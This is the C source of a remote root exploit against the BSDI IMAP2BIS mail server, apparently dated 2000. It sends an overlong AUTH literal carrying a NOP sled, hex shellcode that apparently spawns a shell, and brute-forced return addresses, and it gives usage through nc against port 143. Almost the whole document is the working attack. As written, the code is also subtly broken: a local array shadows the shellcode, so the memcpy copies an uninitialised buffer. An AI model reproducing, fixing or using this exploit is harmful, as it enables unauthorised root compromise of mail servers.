/*
 
  BSDI IMAP2BIS remote root exploit
 
  Usage:   (./imapx <offset>;cat)| nc targethost 143
           
             where offset = -1000..1000  (brute force if 0 doesnt work) 
 
  Note:
          if you plan to port this to other OS., make sure the
          shellcode doesn't contain lower case chars since imapd
          will toupper() the shellcode, thus fucking it up.
  Note:
          I tested this on a few system's and found this offsets vulnerable
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>

#define BUFLEN 4092
#define NOP 0x90

char shell[] =

  "\xeb\x58\x5e"
  "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
  "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
  "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
  "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
  "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
  "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
  "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
  "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
  "\x42\x49\x4e\x2f\x53\x48\x00";

void
main (int argc, char *argv[])
{
  char buf[BUFLEN];
  int offset,nop,i;
  unsigned long esp;
  char shell[1024+300];

  fprintf(stderr,"usage: %s <offset>\n", argv[0]);

  nop = 403;
  esp = 0xefbfd5e8;
  offset = atoi(argv[1]);

  memset(buf, NOP, BUFLEN);
  memcpy(buf+(long)nop, shell, strlen(shell));

  for (i = 1024; i < BUFLEN - 3; i += 2)
    {
      *((int *) &buf[i]) = esp + (long) offset;
      shell[ sizeof(shell)-1 ] = 0;
    }

  printf("{%d} AUTH\r\n", BUFLEN);
  for (i = 0; i < BUFLEN; i++)
    putchar(buf[i]);

  printf("\r\n");

  return;
}
/*                    www.hack.co.za              [2000]*/